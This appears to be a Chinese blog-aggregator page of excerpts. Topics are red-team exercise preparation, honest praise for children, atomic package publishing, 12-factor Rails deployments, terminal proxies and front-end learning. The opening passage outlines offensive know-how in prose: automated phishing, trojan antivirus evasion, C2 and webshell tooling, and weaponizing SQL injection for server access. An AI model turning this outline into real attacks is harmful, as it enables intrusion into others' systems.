武器库：武器库在我的理解中，就是一切皆自动化或自主化，信息收集、邮件钓鱼、木马免杀的自动化，以及C2、Webshell管理工具的自主化，这都是最基础的一些；
漏洞库：漏洞库即0day、1day这些漏洞的利用，例如SQL注入不应只是注入，而是要结合SQL注入直接获取目标站点权限，无论你是结合SQL注入获取密码再进入后台进行文件上传获取权限，还是SQL注入直接堆叠执行命令获取权限，简而言之，漏洞只是开始，通过漏洞获取权限才是漏洞库所需要的，这也是大家通常所说的漏洞武器化。
红队结果复盘
在进行一场演习之后，红队应结合演习结果进行复盘，主要围绕这几个方面：演习结果的总结、红队成员的分工、演习过程的问题。
演习结果的总结：对演习上报的结果进行总结，梳理出攻击技术及相关路径；
红队成员的分工：明确每个成员的分工，并且结合成果来看分工的落实程度；
演习过程的问题：总结演习过程中发现的问题，找出问题产生的原因，有解决方案的提出解决方案，没有的就复盘会上进行交流。
- 博客 吕小荣的网志 2022-08-17 08:00:00
我给沐沐布置了一个任务，每天赞美鼓励家人一次。
- 可以夸妈妈谈的钢琴好听，或者进步很大。
- 如果姥姥做的饭好吃，那么就夸赞姥姥手艺好。
- 如果姥爷毛笔字写得好看，就夸赞姥爷写的字漂亮。
总之，要有一双善于发现的眼睛，发现别人的优点，肯定别人的努力和付出。不要总是唯我独尊。
我又解释了”鼓励别人“和”阿谀奉承“的区别。
鼓励言语是为了对方好，让对方更自信，也让对方有源源不断的动力。拍马屁是为了自己好，获取好感，拉近关系。
正直人鼓励别人不求回报，小人阿谀奉承是因为有利可图。
鼓励别人时，也要有技巧。要以事实为根据，细节越具体越好。
如果夸赞妈妈，不能总是说”妈妈的钢琴进步好大啊“这种敷衍式的鼓励。而是要指出哪个和弦的处理更细腻了。
实事求是的鼓励和诚实的批评一样宝贵。
- 博客 技术小黑屋 2022-08-16 07:43:00
目前 unpub 作为我们重要的 pub 私有服务托管着 众多的 pubs。在日常的开发过程中，我们也会对pub 做出了一些约束。比如
- 只允许在 master 或者 release/* 分支发布
- 不符合上述条件的分支不允许发布。
今天我们讨论的问题重点，非上述的问题，而是发布 unpub 的原子性。
非原子化的两步
在讨论原子性之前，我们需要明确有两个步骤。
- 我们需要执行
flutter packages pub publish --server=https://pub.aaa.com/ --verbose进行发布 - 在发布unpub 前后，我们需要将代码推送到远端 gitlab 服务器
非原子化的问题
那么如果我们忘记了，最后一步的推送工作，带来的问题可能会很严重
- 某份代码 A 未被推送，后面的更改再发布 unpub 导致 代码 A 的功能 丢失
- 后续发现丢失后，找回代码A 很可能无法 确定 当时的代码修改内容（可能包含其他修改，人的记忆里不总是可靠）
- 找回后，往往需要投入一定的测试资源验证较为稳妥。
所以，将上面两部合成一步，来作为一个原子操作，显得尤为重要。
一个脚本原子化
这里有一个简单，却极为实用的方式，就是这个代码
1 2 3
#!/bin/bash git push origin "$(git symbolic-ref -q HEAD 2>/dev/null | cut -d'/' -f 3)" flutter packages pub publish --server=https://pub.aaa.com/ --verbose下载到本地后，设置文件可执行(加入环境变量)，然后当再次发布 unpub 时 这样处理即可。
1unpubUpload.sh - 博客 二丫讲梵 2022-08-12 16:42:41如要阅读全文，点击标题跳转。学习周刊-总第66期-2022年第31周
- 博客 吕小荣的网志 2022-08-12 08:00:00
当使用命令行
rails new去创建一个新项目时，Rails 默认会创建三个环境：- development: 本地开发环境。
- test: 用来跑测试。
- production: 生产环境，用来服务客户。
在项目的最早期，还处于验证想法阶段。工程师的工作流程也比较粗狂，写代码，跑测试，然后直接部署代码至生产环境。
业务的第一阶段：少量客户阶段
产品不断迭代，逐渐的有客户开始使用产品。为了保证工程质量，这时候需要给 Rails 添加一个预发布环境，通常大家都命名为 staging 环境，工作流程也开始严谨：
- 工程师在本地开发新功能。（developer 环境）
- 在CI（或本地）跑测试。（test 环境）
- 代码合并到 staging 分支，并且部署到 staging 环境，QA 工程师测试新功能。
- 如果没有bug，则部署到 production 环境，供客户使用。
environments ├── development.rb ├── staging.rb ├── production.rb └── test.rb业务的第二阶段：大量客户 + 多团队协作
如果产品市场反响良好，客户越来越多。工程师团队规模也由几个人扩增到几十人或上百人。人员众多，且共用一个 staging 环境，合并代码到 staging 分支时容易冲突。
程序员耐心时，遇到代码冲突会联系原作者，一起解决。如果是跨国团队，因为时差的原因，一个来回的沟通需要一天时间。这时候程序员可能就没了耐心，直接重置 git 的 staging 分支。这会导致一系列的误会，别人正在测试的功能凭空消失，QA 工程师上报 bug，结果细查下来是代码重置导致的。
为了降低代码冲突和沟通成本，很多公司会为各团队创建专属的部署环境，而不是吃大锅饭。各团队井水不犯河水，如果某个部署环境出现问题，也只会影响到单个团队，不会拖累整个公司开发进度。
实例 部署的Git分支 用途 production release/xxx 给客户使用的生产环境 demo demo 销售给客户做演示。 staging main / 下一个 release 分支 用于上线前的回归测试 staging-1 staging-1-branch 给 “小熊猫” 团队使用 staging-2 staging-2-branch 给 “自杀小分队” 团队使用 staging-3 staging-3-branch 给 “星河战舰” 团队使用 staging-4 staging-4-branch 给 “深海水妖” 团队使用 staging-… staging-6-branch 给 … 团队使用 工程师越多，需要的 Rails 部署环境也越多。如果我们要创建6个部署环境 staging，staging-1, staging-2, staging-3, staging-4, demo, 该怎么做呢？
可以在 Rails 的
config/environments目录下创建6个配置文件。这是 Rails 推荐的配置风格，原汁原味。> tree environments environments ├── demo.rb ├── development.rb ├── test.rb ├── production.rb ├── staging.rb ├── staging-1.rb ├── staging-2.rb ├── staging-3.rb ├── staging-4.rb ...但事情没那么简单，除了
config/environments，还有许多额外工作。我们要在config/database.yml添加 6 个新部署环境的数据库配置。default: &default adapter: postgresql database: <%= ENV['DATABASE_NAME'] %> username: <%= ENV.fetch("DATABASE_USER", 'postgres') %> password: <%= ENV['DATABASE_PASSWORD'] %> port: 5432 production: <<: *default demo: <<: *default staging-1: <<: *default staging-2: <<: *default staging-3: <<: *default ...此外，如果有些工程师在常量中定义配置，那我们还需要全局搜索
Rails.env，确保新创建的部署环境，都有匹配的赋值。尤其是在犄角旮旯里定义的变量，如果遗漏，新部署会一直报错。比如，有人会把各个部署环境的 Redis 地址写在了常量中。
# config/initializers/sidekiq.rb case Rails.env when :demo REDIS_HOST = 'redis-demo.3922002.redis.aws.com:6379' when :staging-1 REDIS_HOST = 'redis-s1.3922002.redis.aws.com:6379' when :staging-2 REDIS_HOST = 'redis-s2.3922002.redis.aws.com:6379' ...在常量里定义配置，太容易出错。多数工程师会把不同部署环境的配置抽出来，放到不同的配置文件中，并且用一些库来管理，Rails 常用的库是 “rubyconfig/config”1。如果团队在使用这些库，我们也需要为新的部署环境添加配置文件。
config/settings/demo.yml config/settings/production.yml config/settings/staging.yml config/settings/staging-1.yml config/settings/staging-2.yml config/settings/staging-3.yml config/settings/staging-4.yml ...以上方案有几个的缺点：
第一，即使有完备的内部文档，全套走下来，工程量不小，人力成本很高。
第二，每次创建新的部署环境都要修改老代码中的常量。修改正在运行的老代码乃兵家大忌，稍有不慎就会bug缠身，死无葬身之地。
第三，安全性差。配置中包含 client_secret，token，私钥，如果代码不幸泄露，各种秘钥被一锅端。使用这种方案创建的 docker 镜像混杂了各种配置信息，不干净。万一泄露，也是个麻烦事。
虽然有种种缺陷，但这种 Rails 原生的解决方案也能维持一段时间。
业务的第三阶段：多租户方案 + 私有化部署 + 百人以上开发团队
项目早期，通常只有一个 production 部署环境。
- 如果产品面向的是普通客户（To C），一个 production 部署就能满足所有客户的需要。
- 面向企业客户的 SaaS 产品，早期也是多租户 （multi-tenant）设计，一个 production 部署环境服务所有的企业。
因此很多程序员脑子里有个假设：”production 部署环境只有一个”。随着业务的增长，这种假设会被打破。
为了国家安全，一些国家要求本国的公民的数据必须保存在本国的数据中心。Apple iCloud 既在美国有数据中心，也在中国贵州有数据中心，同一套代码部署在中国和美国，都是以 production 模式运行。抖音在美国部署在 Oracle Cloud上，在中国则部署在自己的机房里，他们也都以 production 模式运行。
大客户出于安全的考虑，要求私有化部署 (self-hosted)。阿里云同样一套代码，会卖给政府，中国电信，公安系统，代码部署在他们各自的机房。
开源项目的部署。Gitlab 是一个开源的代码管理平台，中小客户没有运维团队，通常会在 gitlab.com 注册一个账户直接使用；大客户财力雄厚，有自己的机房和运维团队，通常会部署 Gitlab 到自己的内网，并且只允许公司内网 IP 访问。
所以一套 SaaS，在真实的世界中的部署场景应该是这个样子：
运行实例 部署的Git分支 用途 production release/100* 部署在公有云上，多租户使用的 SaaS production-gov release/101 客户为政府，部署在政府私有机房 production-cnpc release/99 客户为中石油，部署在中石油私有机房 production-china-police release/100 客户为中国警察，部署在公安私有机房 production-us-police release/100 客户为美国警察，部署在 AWS production-huawei release/100 客户为华为，部署在内网 demo demo 销售给客户做演示。 staging main / 下一个 release 分支 用于上线前的回归测试 staging-1 staging-1 branch 给 “小熊猫” 团队开发测试使用 staging-2 staging-2 branch 给 “自杀小分队” 团队开发测试使用 staging-3 staging-3 branch 给 “星河战舰” 团队开发测试使用 staging-4 staging-4 branch 给 “深海水妖” 团队开发测试使用 staging-… staging-… branch 给 … 团队开发测试使用 note: release 分支：在 Trunk based development2 的工作流中，QA（或CI）会定期从最新的 main 分支创建部署分支，跑测试，如果没有bug，该分支就可以部署到生产环境。
当有众多 production 环境时，难道要把所有客户的配置都混入到代码里吗？显然不可能！客户也不答应！所以大家不约而同的认为代码应该无状态，配置信息应单独存储，这样创建一个部署环境时就不需要改动一行代码了。
概念：部署 (deploy)
当代码的 production 环境只有一个时，我们可以用 “production 环境”这个术语指代唯一的那个生产环境。可是 Gitlab 被千千万万个企业运行，production 实例不计其数，在沟通的时候，”production 环境”就个术语就无法指代任何事3。
为了更精确的表达，在后半篇文章中，我们用部署（deploy）这个概念表述代码部署到某个数据中心后运行的实例。
同时 Rails config/environments 目录下的几个文件 production.rb / staging.rb / development.rb / test.rb ，我们称之为代码的运行模式。
比如，当 Gitlab 部署到华为内网时，我们说 “Gitlab 在华为内网创建了一个部署（deploy），它的运行模式为 production”。
The 12-factor Application
Heroku 写过一篇 SaaS 架构文章 《12-factor Application4》，概括了设计 SaaS 应用的12条原则，被奉为圭臬，时至今日，依然无出其右。
第一条原则：一份基准代码（Codebase），多份部署（deploy）
每个应用的一份基准代码，可以同时存在多份部署。每份部署相当于运行了一个应用的实例。通常会有一个生产环境，一个或多个预发布环境。
第二条原则：显式声明依赖关系 (dependency)
同样的代码，在不同机器，依赖要一致，行为也要一致，比如：
- JavaScript 使用 npm 或 yarn 来管理各种库的依赖。
- Ruby 使用 Bundler 来管理各种库的版本依赖。
- Docker 不但打包代码的库的依赖，还打包了操作系统的依赖。任何人获得 docker image 后都可以运行代码，不会出现这种尴尬情况：一份代码只能在我的电脑上跑，不能在你的电脑上跑。
第三条原则：在环境中存储配置5
12-Factor 推荐将应用的配置存储于环境变量中（ env vars, env ）。环境变量可以非常方便地在不同的部署间做修改，却不动一行代码。
Docker
比如 Docker 允许你把配置放到环境变量中，从而创建不同的实例（container）。
docker run --name postgresql \ -e POSTGRES_USER=myusername \ -e POSTGRES_PASSWORD=mypassword \ -p 5432:5432 -v /data:/var/lib/postgresql/data \ -d postgresHelm
Helm6 是一个 Kubernetes 应用的包管理工具，它也遵循了 12-factor 的前三条原则。它有三个核心概念 chart，config，release。
- chart 是模版，无状态。
- config 是配置信息
- release = chart + config。当把模版和配置拼凑在一起时，就创建了一个部署实例。
几乎所有优秀的开源软件都遵守 12-factor，除了优秀的架构能力，我猜测作者从第一天就知道，这份软件会被千千万万家公司使用，代码和配置必须分离，绝对不能硬编码。
我们的代码不会部署到千万家公司，但是借鉴 12-factor 思想，可以让我们快速创建和维护十几个部署。DevOps 省时省力，业务程序员专心开发，销售演示功能时自信满满的，互不干扰。
借鉴 12-factor 的方案
第一步，让代码无状态，代码中所有的配置信息都取自环境变量。
比如，DB 的配置要取自环境变量。
# config/database.yml # ... production: <<: *default database: <%= ENV['DATABASE_NAME' %> host: <%= ENV['DATABASE_HOST'] %> password: <%= ENV['DATABASE_PASSWORD'] %> ...Sidekiq 的配置也取自环境变量。
# config/initializers/sidekiq.rb Sidekiq.configure_server do |config| config.redis = { host: ENV['REDIS_HOST'], port: 6379 } end # ...任何逻辑，但凡和部署相关，其配置都取自环境变量。
class OauthController < ApiController def redirect redirect_to(ENV['GOOGLE_OAUTH_URL']) end end第二步，准备配置文件。
为 staging-1, staging-2, staging-3, staging-4,demo，production，production-gov，production-china-police，production-us-police 等部署创建配置文件。
如果你使用的是 AWS，可以把某个部署的配置保存在 AWS Systems Manager Parameter Store，敏感信息可以保存在 AWS secret manager。
# 创建 staging-1 的配置信息 aws ssm put-parameter \ --name "staging-1-configuration" \ --value "parameter-value" \ --type String \ --tags "DB_HOST=xxx,DB_USER=xxx,DB_PASSWORD=xxx,REDIS_HOST=xxx,GOOGLE_OAUTH_URL=xxxx"如果你使用 Kubernetes，可以把某个部署的配置信息保存在 ConfigMap，敏感信息保存在 Secret 中。
# 创建 staging-1 的 ConfigMap kubectl create configmap staging1-config-map \ --from-literral="DB_HOST=xxx" \ --from-literral="DB_USER=postgres" \ --from-literral="DB_PASSWORD=xxx" # 创建 staging-1 的 Secret kubectl create secret generic staging1-secrets \ --from-literral="GOOGLE_CLIENT_ID=xxxx" \ --from-literral="GOOGLE_CLIENT_SECRET=xxxx"第三步，以 production mode 运行各个部署实例。
几乎所有的工程师都曾遇到过类似问题：
为什么代码可以在同事的机器上运行，但是无法在我的机器上运行？
为什么代码可以在本地运行，但是无法在 staging 运行？
为什么代码在 staging 上没有问题，但是上线后客户后遇到一连串的问题。
很多问题是本地、测试、生产之间的差异导致的，比如本地开发用 Macbook，但生产服务器是 Ubuntu；本地开发数据库是 SQLite，生产数据库则是 PostgreSQL；本地开发拿内存做缓存，生产用 Memcached 作缓存。《12-factors App》称这种差异为 Dev/prod parity7。
为了消除不同部署之间的差异，对于 production, production-huawei，demo，staging-1, staging-2, staging-3 等，我都以 production 模式来运行：
RAILS_ENV=production rails s
第四步： 把代码和配置组合在一起，创建一个个部署。
如果你使用的是 Capistrano 部署代码，那么
Code + 配置 = 部署如果你使用的是 Docker 部署代码，那么：
Docker Image + 配置 = 部署如果你使用的是 Kubenetes，将不同配置文件注入到了Pod 中，就变成了不同的部署。
--- apiVersion: v1 kind: Pod metadata: labels: name: webapp name: webapp namespace: default spec: containers: - name: web-app image: web-app:staging-1 envFrom: - configMapRef: 👈 看这里 name: staging-1-config-map - secretRef: 👈 看这里 name: staging-1-secrets优点
-
代码无状态，可以被复用。如果想创建部署，只需要准备一份新的配置文件就可以，省事省力。
-
代码和 Docker image 中不包含机密信息。即使代码泄露也不会扩大风险。
-
方便私有化部署。
-
可以为不同部署的配置文件可以设置不同的访问权限，比如仅仅允许特定团队访问 production 部署实例的的配置信息。
-
所有部署的运行模式都是 production mode，以此消除不同部署之间的差异。 （关于本条，大家可以根据自己的实际情况做决定。有些人喜欢以 staging mode 来运行 staging 部署实例。）
缺点
NewRelic, Datadog, Sentry 等监控工具默认会把环境信息附着在监控数据上，方便筛选过滤。在第二种方案中，所有的部署的运行模式都为 production mode，这导致监控数据都混在 production 下。遇到事故，工程师根本无法排查是哪个部署出了问题。
如何解决监控工具的问题？
其实 Datadog, New Relic, Sentry 提供了接口，允许我们自定义部署的名字，以 Datadog 举例，它的语法如下：
Datadog.configure do |c| # ... c.env = "你喜欢的部署名" end因此我们可以在 staging-1, staging-2, staging-x, production-x 等不同部署的配置中，引入一个新的变量 “DEPLOY_ID” 来声明部署的名称，并传递给监控工具。
把 DEPLOY_ID 传递给 Datadog8
Datadog.configure do |c| c.env = ENV['DEPLOY_ID'] # prod / staging-1 / demo / prod-huawei # ... end把 DEPLOY_ID 传递给 Sentry9
Sentry.init do |config| #... config.environment = ENV['DEPLOY_ID'] # prod / staging-1 / demo / prod-huawei end把 DEPLOY_ID 传递给 New Relic10。
# config/initializers/newrelic.rb NEW_RELIC_ENV=ENV['DEPLOY_ID'] NEW_RELIC_LICENSE_KEY=ENV['NEW_RELIC_LICENSE_KEY'] ...这样就能保证监控工具的正常显示了。
感谢
本文中的方案，来自于 Workstream 同事们 和 SAP 前同事们的实践经验，我只是加工整理，提笔记录下来。
特别感谢 Louise Xu, Felix Chen, Vincent Huang, Teddy Wang, Kang Zhang 的审校和反馈。
参考资料
-
Ruby Gem: rubyconfig ↩
- 博客 技术小黑屋 2022-08-09 08:33:00
在一个不友好的网络环境中，有些开发资源（依赖）无法被直接下载安装，这时候我们需要使用代理。
如果是经常使用终端的情况，终端关于代理的内容必不可少。
设置 http 代理
1 2 3 4 5
$ export http_proxy=http://server-ip:port/ $ export http_proxy=http://127.0.0.1:3128/ $ export http_proxy=http://proxy-server.mycorp.com:3128/ $ export http_proxy=socks5://PROXYHOST:PROXYPORT设置 https 代理
1 2 3 4
$ export https_proxy=https://server-ip:port/ $ export https_proxy=https://127.0.0.1:3128/ $ export https_proxy=https://proxy-server.mycorp.com:3128/ $ export https_proxy=socks5://PROXYHOST:PROXYPORT取消设置代理
1 2 3
unset http_proxy unset https_proxy设置代理排除名单
有时候，我们需要开启代理，但是有些域名不走代理，比如
- 内部的网络，使用代理会出现错误
- 国内网络，使用代理后会变慢
1 2
export NO_PROXY=droidyue.com,127.0.0.1上述 设置代理，设置代理排除名单，也可以放到 .bashrc 或 .zshrc 自动持久化处理。
- 博客 二丫讲梵 2022-08-08 23:47:20如要阅读全文，点击标题跳转。我维护的开源项目 https://github.com/eryajf/Thanks-Mirror 整理记录了各个包管理器，系统镜像，以及常用软件的好用镜像，随着项目越来越完善，到今天，已经累计整理链接 1091 个，随着时间推移，一些国内镜像可能会停止维护，如何自定感知那些已经失效的链接，就是一个需要考虑的事情了。本文就介绍一个有意思的小动作，它的主要功能是可以自动扫描仓库内的链接，然后对链接进行请求，根据自定义的规则，自动抛出异常的链接，然后将这些链接创建到issue当中。
- 博客 构建我的被动收入 2022-08-08 08:00:00本文是《Software Engineering at Google》的读书笔记，同时会穿插分享我对软件工程的理解。本文主要介绍软件工程的过程，主要包括Code Review、技术文档与自动化测试（单元、集成、E2E）。
- 博客 二丫讲梵 2022-08-05 15:42:12如要阅读全文，点击标题跳转。学习周刊-总第65期-2022年第30周
- 博客 小胡子哥的个人网站 2022-08-05 09:01:37记录最近使用基础云设施的过程中遇到的几个有意思的问题：1、OceanBase 数据库锁问题给业务数据模型扩充了一个远程方法调用，利用 ORM 的 hooks 特性加到了 afterCreate 中，导致偶发数据库锁。原因是业务存在事务处理批量调用，新增的 RPC 操作让事务整体时长变得十分漫长...
- 博客 小胡子哥的个人网站 2022-08-05 02:06:02今天是个特别的日子，家中又迎来了一位小公主，生第一胎的时候，懵懵懂懂，啥也不会，孩子哭了，就等着月嫂过来照顾，看着学着，也没摸出多少门道，等月嫂走了，连忙又签约了一名家庭医生，闲暇之余，就是各种阅读育儿说明书，忙起来的时候也是一地鸡毛。二娃多多少少有了一点经验，依稀还记得四年前，也是在手术室前...
- 博客 MiaoTony's Blog 2022-08-02 21:16:00988
- 博客 二丫讲梵 2022-08-02 07:42:32如要阅读全文，点击标题跳转。我维护的 awesome-github-profile-readme-chinese 项目旨在收集汇总中文区优秀的个人主页，每个人的主页将会通过截图的方式存放在 exampls 目录下，有时候有的朋友主页内容很多，这样整体截图下来就非常大。本文就介绍一个有意思的小动作，它的主要功能是可以自动扫描仓库内的图片，然后对其进行几乎无损的压缩，让整个仓库的体积保持在一个相对低的水平。
- 博客 二丫讲梵 2022-08-01 23:28:09如要阅读全文，点击标题跳转。当我们在GitHub中冲浪时，遇到优秀的项目经常会为之点赞，但就像网络上经常说的玩笑一样：收藏等于会了。其实我们不应该让这些已被自己赏识过的项目石沉大海，那么，如果有一个项目能把自己过去star过得项目自动整理并归类就好了。本文就将介绍如何利用GitHub Actions来实现这个功能。
- 博客 晚晴幽草轩 2022-07-31 21:21:00
前端发展史及学习方法论
豆豆的小说《遥远的救世主》中提到：“有道无术，术尚可求，有术无道，止于术”，深以为然。道是方向，术是法则；认清事物的本源、把握事物之规律，有助于后续更好掌握知识、技能，从而解决需求和问题。故而，本篇分享，主要围绕学习方向、如何学习等方面进行。托尔斯泰曾说：“多么伟大的作家，也不过就是在书写他个人的片面而已”，意识流派相关（技术）分享亦是如此，望朋友们带着思考，辩证看待，吸取觉得有用部分即可。
备注：本文写于 2022/07/10 ~ 2022/07/21〔深圳福田〕；起源于内部分享，首发于最新基于 Wiki.js 搭建的网站：前端异空间｜ 清风明月阁。
前端技术可以用来做什么？
原本并无前端，写的人多了，也便有了这前端；而如今，它或也被唤为：大前端。前端起源初衷，原本只是方便科学家看文档、传论文，而诞生的静态网页（1991）。那么，前端技术现而今可以用来做什么？时至今日，历经近 30 年巨变，前端技术栈，可以涉及的领域越来愈多：
- 移动端兴起，所带来的移动端领域（Web App）；
- 与原生端共同协作的混合型应用（Hybrid App ）;
- 由 React Native 等引领起来的原生移动应用；
- 由 nw.js、 Electron 等流行起来的原生桌面应用；
- 由小程序， 快应用 等所带来的即点即用型轻应用；
- 其他如 TV、VR、IOT、 可视化 、人机交互等领域；
- 在人工智能、5G 等新技术的引领下，前端未来可期…..
前端开发，发展简史
- 蛮荒时代： 1991～1994，方便科学家看文档、传论文，而诞生的静态网页；前后端开发一体，前端代码是后端代码的一部分：后端收到浏览器的请求 => 发送静态页面 => 发送到浏览器。 （ Document ）。
- 石器时代： 1994～2006，从静态走向动态，94 年可以看作前端历史的起点； Tim Berners-Lee 创建了 W3C， HåkonWium Lie 提出 CSS，为动态 web 网页设计的服务端脚本 PHP 诞生；
- 铁器时代： 2006 ～ 2009， 从后端走向前端；Ajax 为大众所接受； 0 6 年 John Resig 发布了 jQuery，主要用于操作 DOM，其优雅的语法、符合直觉的事件驱动型的编程思维使其极易上手，因此很快风靡全球（MVC）；
- 工业时代： 2009 ～ 从前端走向全端；伴随着信息时代、大数据时代的到来，jQuery 在大量的数据操作中的弊端体现出来了，它在对 DOM 进行大量的操作中，会导致页面的加载缓慢等问题，此时，前端开发人员逐渐觉得力不从心….. 由此，也开启了前端模块化、工业化进程（MVVM）。
近十年前端发展大事件
- 2008 年，谷歌 V8 引擎发布，拉开终结微软 IE 时代序幕；
- 2009 年，Ryan Dahl 发布 Node.js ；
- 2009 年， AngularJS 诞生；
- 2011 年 React 诞生；
- 2014 年 Vue.js 诞生；
- 2014 年 HTML5 标准制定；
- 2015 年 6 月 ES6 正式发布；
- 2015 年 Google 提出 PWA；
- 2017 年 小程序正式上线；
- 2018 年 3 月， 快应用 及联盟诞生；
- 2018 年底， Flutter 发布第一个稳定版；
- 2020 年 5 月 Deno 正式发布；
前端发展历史上大事件(浏览器)
- 1991 年，第一个网页浏览器 WorldWideWeb 浏览器发布（Nexus）；
- 1992 年， NCSA 研发出知名浏览器：Mosaic，可在窗口浏览网页；
- 1994 年，Netscape 成立，发布第一款商业浏览器 Netscape Navigator；
- 1995 年，微软针对 Netscape 发布了 IE，第一场浏览器之战爆发；
- 1998 年，随着同 IE 征战的失利，Netscape 浏览器走向开源；
- 2002 年，借助操作系统的捆绑优势，IE 赢得第一场浏览器之战；
- 2003 年，苹果 Safari 浏览器登场，推出自己的 Webkit 引擎；
- 2004 年，Firefox 1.0（前身 Mozilla，Netscape） 推出，引发第二轮大战；
- 2006 年，时隔六年，微软匆匆推出 IE7 应战，徒劳无功；
- 2008 年，Google 携 Chrome 参战，为其后来主导江山，拉开序幕；
额外可参考链接：
当今浏览器现状
以人为镜，可以明得失；以史为镜，可以知兴替。截止目前， Chrome 浏览器所占份额，在 70% 左右（实际上，如果按
v8引擎来算，远比这个高很多）；了解前端这 20 余年发展历史，可以让你更好地把控这份工作。至少，你会明白，现在从事这项工作，相对是更幸福的，你无需再为兼容 IE 而头疼不已；工具的进化，让你能更「便捷」开展这项工作；时代的发展让（大）前端开发者，越发显得重要，再无需背负”切图仔”之名。当然，在新的时代，伴随新老更替，在摒弃兼容那些陈旧的同时，也会迎来各种「新的挑战」；比方说，更多设备（IOT、穿戴设备、VR）将会基于不同应用形态，运行基于「前端技术栈」所编写的产品；就目前而言，除了运行在浏览器外，微信小程序、快应用、桌面应用、 穿戴设备，基于前端技术栈产品，已渗透颇多。
Web 前端学习方法论
学习方法
多阅读，多编码，多改进；勤于总结，保持激情 & 好奇 & 专注（孰能生巧）。
把握原则
- 提升搜商：相比于情商和智商，搜商更是不能或缺（Google）；
- 注重基础：前端知识点多且杂，更新又快，夯实基础，方能快速迎新；
- 精益求精：遇到问题，通过搜索等，一定要弄明白为止，且举一反三；
- 二八原则：“学以致用”，不必执着于快速掌握所有，时间有限，分优先级；
- 立足于己：找到适合自己的方法论，系统性建立属于自己知识体系；
- 重视效率：大时代裹挟之下：要够快；优化自己的工作流、机制、习惯；
- 放眼团队：从业务和工程角度，思考前端团队亟需提升的点及发展需要；
- 寓学于乐：须知“飘风不终朝（zhāo），骤雨不终日”，当懂得「劳逸结合」；
可参考链接
- 20 Google Search Tips to Use Google More Efficiently
- 如何更好地运用 Google Chrome
- How To Ask Questions The Smart Way | 提问的智慧
- The Book Of Secret Knowledge
- 与时俱进版前端资源教程 | Github
- Roadmap to becoming a web developer in 2019 | Github
如何开始学习前端？
学习方向：从前面的历史中，我们可以了解到，一些中间性产物如 IE 浏览器、DreamWeaver、以及 jQuery，Backbone.js 等，已然完成了其历史使命；而我们所要学习的，除了基础知识技能（&必要工具）外，即过度至而今流行技术。如在工作中遇到历史遗留产物，可秉承“「学以致用」”的原则，再去了解。
学习起点：如今的前端，涉及场景已非常之多；其所牵扯的技术栈，更是多不可数；浏览器、编辑器、框架、构建、发布、网络、调试、测试、模块化、优化、工程化、后台…… 乃至近几年陆续流行开来的各类小程序、快应用等，万变不离其宗，都是围绕前端三剑客： HTML，CSS，JavaScript 而扩展开来的存在。其中： HTML 为骨架，CSS 为外貌，JavaScript 为交互。
循序渐进：在后面的诸多课程中，都是以这三项基础而开展。或编写、或框架、或调试、或编译、或工程化。而我们所要完成的大作业，也是跟这三剑客息息相关。可喜的是，前端入门，堪称是最为简单的了：用任何编译工具，新建立一个文件（即便是写一个 index.txt） ，写入些内容后将其保存为 index.html (也可以是 htm)，用浏览器打开，就可以看到所呈现出的简单页面。
前端开发需要学习哪些？
早年，在一篇博文 如何写一手漂亮的 Vue 中，有写几句随言：身在程序的江湖，如你是一位即将出征武士，对决于浩瀚无尽的需求大军；那么你不仅需要一副好的体格，还需要一身技艺：而这
软件工程学(抑或加算法)就好比内功（查克拉）；而所使用的各家语言，则好如武学招式（独孤九剑？）；那加以利用的各种工具，当如随身利器（小李飞刀？）；那属于自己一套极致开发流程，便是轻功（凌波微步？）……如是斯言，那么作为开发者的你，几技傍身耶？如今，多年过去，对其中阐述的观点，依旧认可。如果将编程开发工作中，需要用到的「软硬技能」，对标成行走江湖的「文治武功」， 以我目前的思考看来，至少需要：基本功、轻功、内功、谋略策略等。
基本功
万丈高楼平地起，扎实的基本功，或可让以后的精修之路，能更加快捷。就这些年经历来看，最重要的基本功当数「学习能力」（
自学）；这么谈颇有些抽象，可将其拆分为：问题搜索能力、文档阅读能力、感知分析能力、逻辑思维能力、问题抽象能力等等。这些能力，皆非朝夕可至，需要长期坚持正循环：「学习、运用、改进」。好如肠胃的消化能力，即便通过常年修理那，已经具备，但仍需勤加养护，否则就会导致反噬。如何修炼「自学习能力」，每个人都有自己的方法，在此就不多赘谈。“首先得是一位程序员，然后才是一位「前端程序员」”。诸如计算机原理、数据结构、网络等大学时代所学的基础知识，也该属于必备基本功。于前端开发而言，额外需要具备的基本功是：
Web 前端三剑客：Front-end web development is the practice of converting data to graphical interface for user to view and interact with data through digital interaction using HTML, CSS and JavaScript (前端 Web 开发，是将数据转换为图形界面的实践，供用户使用 HTML，CSS 和 JavaScript 通过数字交互查看数据并与之交互)。——维基百科。
HTML(5) ：（超文本标记语言 —— HyperText Markup Language）是构成 Web 世界的基石。
JavaScript(6) ：JavaScript 一种直译式脚本语言，是一种动态类型、弱类型、基于原型的语言，内置支持类型。它的解释器被称为 JavaScript 引擎，为浏览器的一部分，广泛用于客户端的脚本语言，最早是在 HTML（标准通用标记语言下的一个应用）网页上使用，用来给HTML网页增加动态功能。
CSS(3) ：层叠样式表（Cascading Style Sheets）是一种用来表现 HTML（标准通用标记语言的一个应用）或XML（标准通用标记语言的一个子集）等文件样式的计算机语言。CSS 不仅可以静态地修饰网页，还可以配合各种脚本语言动态地对网页各元素进行格式化。CSS 能够对网页中元素位置的排版进行像素级精确控制，支持几乎所有的字体字号样式，拥有对网页对象和模型样式编辑的能力。
温馨提示：良好的基本功，至少需要勤奋好学、端正心态、持之以恒。
招式
在掌握了武学基本功之后，与人切磋，就好比是要解决「各类需求」，合乎时宜的招数/套路（如独孤九剑），显得很重要。Web 网页开发，只借助 Web 前端三剑客，当然可以完成，可在如今时代，势必是低效的选择。选择合适「框架」，诸如 React 、 Vue.js ，来提升开发效率，则为更为明智的选择。
- 前端：ES6、 TypeScript 、 Vue.js ｜ React | Svelte | AngularJS 、Webpack ｜ Vite …..
- 后端：Node.js(Koa2) ｜ Python 、Nginx、MySQL | MongoDb 、 Redis …..
兵器
工欲善其事，必先利其器。「
工具」的重要性，实在无须多言；它，从生到死，这期间的每时每刻，它几乎都陪伴着你我。在编程开发中，配备适合自己的工具，犹如上阵杀敌携带的「兵器」，从长期效果看，大有「失之毫厘差之千里」之势；就自己而言，使用 MacOS 开发，远比基于 Windows 系统要高效，而且心情、心境也会好很多。对于工具选取，建议认真对待。前端开发中，所常用工具粗列有：- 代码编辑器： VsCode ｜ SublimeText3 ｜ Atom、Vim …..
- 代码规范： Prettier 、Eslint、 Airbnb ……
- 代码提交： Git 、 iTerm2 、Husky、lint-staged、pre-commit、 Gitmoji ……
